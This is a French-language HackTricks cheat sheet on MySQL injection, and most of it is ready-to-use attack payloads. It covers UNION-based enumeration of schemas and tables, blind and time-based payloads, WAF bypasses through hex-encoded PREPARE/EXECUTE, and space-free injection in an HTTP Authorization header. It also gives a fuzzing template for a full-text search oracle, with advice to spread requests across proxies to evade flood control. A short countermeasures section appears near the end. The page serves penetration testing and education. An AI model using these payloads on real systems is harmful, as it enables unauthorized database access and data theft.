MySQL injection
Reading time: 10 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Commentaires
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Fonctions intéressantes
Confirmer Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Fonctions utiles
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Toutes les injections
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
tiré de https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Flux
Rappelez-vous que dans les versions "modernes" de MySQL vous pouvez remplacer "mysql.innodb_table_stats" par "information_schema.tables" (Cela peut ĂȘtre utile pour contourner les WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Only 1 value
group_concat()Limit X,1
Blind one by one
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Detect number of columns
En utilisant un simple ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Découvrez ici différentes options pour abuse a Mysql injection to obtain a SSRF.
Astuces pour contourner le WAF
ExĂ©cution de requĂȘtes via Prepared Statements
Lorsque les stacked queries sont autorisĂ©es, il peut ĂȘtre possible de contourner les WAFs en assignant Ă une variable la reprĂ©sentation hexadĂ©cimale de la requĂȘte que vous voulez exĂ©cuter (en utilisant SET), puis en utilisant les instructions PREPARE et EXECUTE de MySQL pour finalement exĂ©cuter la requĂȘte. Quelque chose comme ceci:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Pour plus d'informations, consultez this blog post.
Alternatives Ă information_schema
Souvenez-vous que dans les versions « modernes » de MySQL, vous pouvez remplacer information_schema.tables par mysql.innodb_table_stats ou par sys.x$schema_flattened_keys ou par sys.schema_table_statistics
MySQLinjection sans COMMAS
Sélectionner 2 colonnes sans utiliser de virgule (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Récupérer des valeurs sans le nom de la colonne
Si à un moment donné vous connaissez le nom de la table mais que vous ne connaissez pas les noms des colonnes à l'intérieur de la table, vous pouvez essayer de trouver combien de colonnes il y a en exécutant quelque chose comme :
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Supposons qu'il y ait 2 colonnes (la premiÚre étant l'ID) et que l'autre soit le flag, vous pouvez faire un bruteforce du contenu du flag en testant caractÚre par caractÚre:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
Plus d'infos sur https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection sans espaces (/**/ astuce de commentaire)
Certaines applications nettoient ou analysent l'entrĂ©e utilisateur avec des fonctions telles que sscanf("%128s", buf) qui s'arrĂȘtent au premier caractĂšre d'espace.
Parce que MySQL traite la sĂ©quence /**/ comme un commentaire et comme un espace blanc, elle peut ĂȘtre utilisĂ©e pour supprimer complĂštement les espaces normaux du payload tout en gardant la requĂȘte syntaxiquement valide.
Exemple de time-based blind injection contournant le filtre d'espaces :
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Que la base de données reçoit comme :
' OR SLEEP(5)-- -'
Ceci est particuliĂšrement utile lorsque :
- Le buffer contrĂŽlable est restreint en taille (par ex.
%128s) et les espaces termineraient prĂ©maturĂ©ment l'entrĂ©e. - Injection via les en-tĂȘtes HTTP ou d'autres champs oĂč les espaces normaux sont supprimĂ©s ou utilisĂ©s comme sĂ©parateurs.
- Combiné avec les primitives
INTO OUTFILEpour atteindre une full pre-auth RCE (voir la section MySQL File RCE).
Historique MySQL
Vous pouvez voir d'autres exécutions dans MySQL en lisant la table : sys.x$statement_analysis
Version alternatives
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
Abus des opérateurs de MySQL Full-Text Search (FTS) BOOLEAN MODE (WOR)
Il ne s'agit pas d'une SQL injection classique. Quand les développeurs passent une entrée utilisateur dans MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL exécute un ensemble riche d'opérateurs de recherche booléenne à l'intérieur de la chaßne entre guillemets. Beaucoup de rÚgles WAF/SAST se concentrent uniquement sur la rupture des guillemets et manquent cette surface d'attaque.
Key points:
- Les opérateurs sont évalués à l'intérieur des guillemets :
+(doit inclure),-(ne doit pas inclure),*(wildcard suffixe),"..."(phrase exacte),()(groupement),</>/~(poids). Voir la doc MySQL. - Cela permet des tests de présence/absence et de préfixe sans sortir du littéral de chaßne, par ex.
AGAINST('+admin*' IN BOOLEAN MODE)pour vérifier tout terme commençant paradmin. - Utile pour construire des oracles tels que « est-ce qu'une ligne contient un terme avec le préfixe X ? » et pour énumérer des chaßnes cachées via l'expansion de préfixe.
Example query built by the backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as titres cachés/supprimés.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: si le backend supprime 1â2 caractĂšres finaux par mot via un regex comme
(\b.{1,2})(\s)|(\b.{1,2}$), soumettezprefix*ZZ. Le cleaner supprime lesZZmais laisse le*, doncprefix*survit. - Early-break stripping: si le code retire les opĂ©rateurs mot par mot mais arrĂȘte le traitement lorsqu'il trouve un token de longueur â„ min length, envoyez deux tokens : le premier est un junk token qui atteint le seuil de longueur, le second porte l'operator payload. Par exemple:
&&&&& +jack*ZZâ aprĂšs nettoyage:+&&&&& +jack*.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26est&,%2Best+. Le suffixexD(ou n'importe quelles deux lettres) est tronquĂ© par le cleaner, en prĂ©servant{FUZZ}*.- ConsidĂ©rez un redirect comme âmatchâ et une page d'erreur comme âno matchâ. Ne suivez pas automatiquement les redirects pour garder l'oracle observable.
Flux d'énumération:
- Commencez avec
{FUZZ} = aâŠz,0âŠ9pour trouver les correspondances de premiĂšre lettre via+a*,+b*, ⊠- Pour chaque prĂ©fixe positif, branchez-vous :
a* â aa* / ab* / âŠ. RĂ©pĂ©tez pour rĂ©cupĂ©rer la chaĂźne entiĂšre. - Distribuez les requĂȘtes (proxies, comptes multiples) si l'app impose du flood control.
Pourquoi les titres leak souvent alors que les contenus ne le font pas:
- Certaines apps n'appliquent les vérifications de visibility qu'aprÚs un MATCH préliminaire sur les titres/sujets. Si le control-flow dépend du résultat «any results?» avant filtrage, des existence leaks se produisent.
Contre-mesures:
- Si vous n'avez pas besoin du Boolean logic, utilisez
IN NATURAL LANGUAGE MODEou traitez l'entrée utilisateur comme un littéral (escape/quote désactive les opérateurs dans les autres modes). - Si Boolean mode est requis, supprimez ou neutralisez tous les Boolean operators (
+ - * " ( ) < > ~) pour chaque token (pas d'early breaks) aprÚs tokenization. - Appliquez les filtres visibility/authorization avant MATCH, ou unifiez les réponses (timing/status constants) lorsque le result set est empty vs. non-empty.
- Vérifiez les fonctionnalités analogues dans d'autres DBMS : PostgreSQL
to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2CONTAINSanalysent aussi les opérateurs à l'intérieur d'arguments entre guillemets.
Remarques:
- Les prepared statements ne protÚgent pas contre l'abus sémantique de
REGEXPou des search operators. Une entrĂ©e comme.*reste une regex permissive mĂȘme Ă l'intĂ©rieur d'unREGEXP '.*'entre guillemets. Utilisez des allow-lists ou des gardes explicites.
Other MYSQL injection guides
Références
- PayloadsAllTheThings â MySQL Injection cheatsheet
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search â Boolean mode
- MySQL Full-Text Search â Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks